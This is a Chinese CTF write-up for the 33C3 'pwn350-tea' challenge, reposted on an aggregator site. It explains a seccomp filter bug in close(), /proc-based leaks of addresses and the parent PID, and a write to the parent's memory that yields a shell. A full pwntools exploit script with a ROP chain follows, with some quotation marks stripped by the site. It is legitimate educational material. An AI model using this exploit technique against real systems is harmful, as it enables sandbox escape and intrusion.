首页 > 其他 > 详细

33c3-pwn350-tea

时间:2017-01-07 22:31:51      阅读:906      评论:0      收藏:0      [点我收藏+]

TEA

    感觉这个题目出得很不错。先运行程序了解基本功能,程序可以读取对系统上存在的文件的内容,如果文件不存在的话,直接退出。

    使用IDA打开后,发现父进程通过clone api克隆出一个子进程,主要的功能都是子进程中实现的。子进程的栈是父进程通过mmap一段可读可写的内存所提供的,栈的地址是mmap的返回值加上一个随机数。子进程首先通过SECCOMP构建了一个小的沙盒,对进程允许的系统调用进行了限制,允许的系统调用包括:exit,exit_group,brk,read,lseek,open;close系统调用不允许close fd 0,1,2;write系统调用只允许写fd 1,2;使用的方式是prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter),在filter里放的是对系统调用的过滤,在调用prctl的时候,下断点可以把filter给dump下来,将https://github.com/seccomp/libseccomp编译,里面有工具可以将filter还原成代码的形式。

    子进程的代码很简单,里面有几个栈溢出,但是由于程序并不正常返回,所以并不好用。虽说覆盖返回地址没什么用,但是可以覆盖局部变量,通过覆盖局部变量来进一步劫持程序的控制流。

技术分享

    在程序的34行,buf被赋值为input的地址,而input在栈上,所以buf是栈上的一个地址。在35行存在栈溢出,通过这个栈溢出,我们可以将栈上的局部变量比如buf,fd都给覆盖为想要覆盖的值,比如将fd溢出为0,buf溢出为任意想要写的地址的话,在45行可能就会存在一个任意地址写的漏洞。

    这里有一个前提,就是不进入atoi(&input)>32的分支,如果atoi(&input)的返回值是0x80000000,那么就可以啦,下面read的时候就可以向任意地址从标准输入读取很多内容。但是在50行是close(fd),根据seccomp中限制了close不能close(0),所以如果将fd溢出为0的话,程序在50行会退出。

    最初想的是让程序尝试去打开/proc/self/fd/0,这样fd理论上是3,而且read(3, buf, 0x7fffffff)实际上还是会从标准输入读取,这样的话,就可以任意地址写了。但是,发现本地可以,远程并不可以,我对比了下远程和本地/proc/self/fd/目录下的文件,发现是有区别的。

技术分享

技术分享

上面的是本地启动的,下面是xinetd启动的,因此陷入了困境。

    赛后了解到两种方法,第一种:不溢出fd,而是溢出buf,然后一个字节一个字节得向buf里写,比如我们要修改malloc_hook为0xaabbccddeeffgghh,那么就现在一个文件里寻找0xhh字节,然后通过读这个文件,将0xaa写入到&malloc_hook里;然后在文件里寻找0xgg字节,然后通过读这个文件,将0xgg写入到&malloc_hook+1里,依次下去可以将malloc_hook修改为想要的值,进一步可以劫持控制流。第二种:因为我们可以通过读/proc/self/stat将栈基址泄露,这样可以将fd溢出为0,同时在45行返回的时候直接将read的返回地址修改从而劫持程序控制流,避免close(0)的时候出现错误。

    劫持了控制流后,干什么呢?因为seccomp是对子进程的系统调用进行了限制,但是父进程并没有。第一步可以通过/proc/self/status泄露父进程的进程号,第二步通过/proc/parent_pid/stat泄露父进程的栈基址,父进程正在waitpid处等待子进程退出,所以可以泄露父进程waitpid返回地址在栈中的位置,第三步对父进程/proc/parent_pid/mem进行修改,修改父进程waitpid的返回地址,劫持父进程的控制流。因为seccomp限制了write系统调用只能向fd 1,2写,但是又限制了不能关闭fd 0,1,2,又陷入僵局。

    仔细读了seccomp限制系统调用的代码后,发现对close系统调用的限制有bug,只要close的fd的高32位比特不为0,那么close系统调用就通过,而实际上,在close系统调用中是不会用到高32位比特的,所以close(0x100000002)和close(2)是一样的,而且能够通过seccomp的过滤。因此,我们就可以关闭标准错误fd 2,再打开/proc/parent_pid/mem,这个时候打开的fd 为2,这样就可以修改父进程的内存空间了,从而劫持父进程的控制流。因为父进程中并没有限制系统调用,因此可以任意得执行各种系统调用,比如system("/bin/sh"),顺利拿到shell。

    如果想学着写seccomp来限制系统调用,看着两个链接就够了:https://eigenstate.org/notes/seccomp https://www.freebsd.org/cgi/man.cgi?bpf(4)

    参考:https://david942j.blogspot.com/2016/09/write-up-tokyo-westernsmma-ctf-2nd-2016.html

            https://github.com/ymgve/ctf-writeups/tree/master/33c3_ctf/pwn350-tea

            http://charo-it.hatenablog.jp/entry/2017/01/01/022230

技术分享

技术分享
import re
from pwn import *
#by wah
#context.log_level = ‘debug‘
exe=tea
libcpath = ./libc.so.6
local = 0

libcbase = 0
exebase = 0
mmapseg = 0 #mmap segment start for child stack

random_addr = 0 #address of random in parent stack
random = 0 # random value

libc = None
ppid = 0
parent_stack = 0 #parent stack addr
ret_from_waitpid = 0 #ret_from_waitpid is the addr where parent return address stay on parentstack
ret_from_read = 0 #overwrite ret_from_read to control flow hijack
child_stack = 0 #child stack addr, ie. mmapseg+random

if local == 1:
    ip = 127.0.0.1
    port = 10001
    offset_setcontext_rdi = 0x47B75
    libcpath = /lib/x86_64-linux-gnu/libc-2.23.so
else:
    ‘‘‘
    ip = ‘104.155.105.0‘
    port = 14000
    ‘‘‘
    ip = 127.0.0.1
    port = 10001
    offset_setcontext_rdi = 0x46875
    libcpath = ./libc.so.6

print ip,port
r=remote(ip,port)
#r=process(‘./tea‘)

def getpid():
    time.sleep(0.1)
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input(go!)

def leakmap(start, count):
    r.recvuntil((r)ead or (w)rite access?)
    r.sendline(r)
    r.recvuntil(filename?)
    r.sendline(/proc/self/maps)
    r.recvuntil(lseek?)
    r.sendline(str(start))
    r.recvuntil(count?)
    r.sendline(str(count))
    r.recvuntil(bytes\n)
    data = r.recvuntil(quit?)[:-5]
    r.sendline(n)
    return data

def leakppid():
    global ppid
    r.recvuntil((r)ead or (w)rite access?)
    r.sendline(r)
    r.recvuntil(filename?)
    r.sendline(/proc/self/status)
    r.recvuntil(lseek?)
    r.sendline(str(0))
    r.recvuntil(count?)
    r.sendline(str(2000))
    r.recvuntil(bytes\n)
    data = r.recvuntil(quit?)[:-5]
    for line in data.split("\n"):
        if "PPid:" in line:
            ppid = int(line.split()[1])
            print "GOT PPID", ppid
    r.sendline(n)

def leakparentstack():
    global parent_stack
    global ret_from_waitpid
    global random_addr
    r.recvuntil((r)ead or (w)rite access?)
    r.sendline(r)
    r.recvuntil(filename?)
    r.sendline(/proc/%d/stat%ppid)
    r.recvuntil(lseek?)
    r.sendline(str(0))
    r.recvuntil(count?)
    r.sendline(str(2000))
    r.recvuntil(bytes\n)
    data = r.recvuntil(quit?)[:-5]
    parent_stack = int(data.split( )[27])
    ret_from_waitpid = parent_stack-0x128
    random_addr = parent_stack-0x108
    log.info(leaked parent stack addr: %x%parent_stack)
    log.info(leaked random addr: %x%random_addr)
    log.info(leaked ret_from_waitpid addr: %x%ret_from_waitpid)
    r.sendline(n)

def leakthings():
    global libcbase
    global exebase
    global mmapseg
    r = re.compile(([0-9a-f]+)-[0-9a-f]+)
    data = leakmap(0,2000)
    for i in data.split(\n):
        if "r-xp" in i and ("/lib64/libc-2.23.so" in i or "/lib/x86_64-linux-gnu/libc-2.19.so" in i):
            f = r.match(i)
            libcbase = int(f.groups()[0],16)
            break
    for i in data.split(\n):
        if i.find(/home/user/chal) != -1:
            f = r.match(i)
            exebase = int(f.groups()[0],16)
            break
    for i in data.split(\n):
        if rw-p in i and stack in i:
            f = r.match(i)
            mmapseg = int(f.groups()[0],16)
            break
    log.info(leaked libcbase: %x%libcbase)
    log.info(leaked exebase: %x%exebase)
    log.info(leaked mmapseg: %x%mmapseg)

def leakrandom():
    global random
    global ret_from_read
    r.recvuntil((r)ead or (w)rite access?)
    r.sendline(r)
    r.recvuntil(filename?)
    r.sendline(/proc/%d/mem%ppid)
    r.recvuntil(lseek?)
    r.sendline(str(random_addr))
    r.recvuntil(count?)
    r.sendline(str(9))
    r.recvuntil(bytes\n)
    data = r.recvuntil(quit?)[:-5]
    random = u64(data)
    child_stack = mmapseg + random
    ret_from_read = child_stack - 0x68
    log.info(leaked random: %x%random)
    log.info(leaked child_stack: %x%child_stack)
    r.sendline(n)

def fuck():
    raw_input(before leakppid)
    leakppid()
    raw_input(before leakparentstack)
    leakparentstack()
    raw_input(before leakthings)
    leakthings()
    raw_input(before leakrandom)
    leakrandom()

    pop_rdi = exebase+0x24a3
    pop_rsi_pop_r15 = exebase+0x24a1
    exit_plt = exebase+0xB08
    open_plt = exebase+0xAF8
    read_plt = exebase+0xAA8
    lseek_plt = exebase+0xA98
    write_plt = exebase+0xA78
    puts_plt = exebase+0xA68
    gets_plt = exebase+0xAD0
    close_plt = exebase+0xAA0
    pop_rdx = libcbase+0x463a1
    system = libcbase+0x43f40

    data = 2147483648.ljust(0x28,\x00)
    data += p64(0)
    data += p64(0)
    data += p64(ret_from_read)

    log.info(set breakpoint at %x%pop_rdi)
    raw_input(final)
    r.recvuntil((r)ead or (w)rite access?)
    r.sendline(r)
    r.recvuntil(filename?)
    r.sendline(/bin/sh)
    r.recvuntil(lseek?)
    r.sendline(str(0))
    r.recvuntil(count?)
    r.sendline(data)

    rop = p64(pop_rdi) + p64(0x1000000000000002) + p64(close_plt)
    writeable = mmapseg + random + 0x1000
    rop += p64(pop_rdi) + p64(writeable) + p64(gets_plt)
    rop += p64(pop_rdi) + p64(writeable) + p64(pop_rsi_pop_r15) + p64(2) + p64(0) + p64(open_plt)
    rop += p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_r15) + p64(writeable+0x1000)*2 + p64(pop_rdx) + p64(0x100) + p64(read_plt)
    rop += p64(pop_rdi) + p64(2) + p64(pop_rsi_pop_r15) + p64(ret_from_waitpid)*2 + p64(pop_rdx) + p64(0) + p64(lseek_plt)
    rop += p64(pop_rdi) + p64(2) + p64(pop_rsi_pop_r15) + p64(writeable+0x1000)*2 + p64(pop_rdx) + p64(0x100) + p64(write_plt)
    rop += p64(exit_plt)
    r.sendline(rop)
    raw_input(1)
    r.sendline(/proc/%d/mem%ppid)
    data = p64(pop_rdi) + p64(ret_from_waitpid+0x20)+p64(system)+p64(exit_plt)+/bin/sh\x00
    raw_input(2)
    r.sendline(data)
    r.interactive()
#getpid()
fuck()
r.close()
View Code

 

33c3-pwn350-tea

原文:http://www.cnblogs.com/wangaohui/p/6260448.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!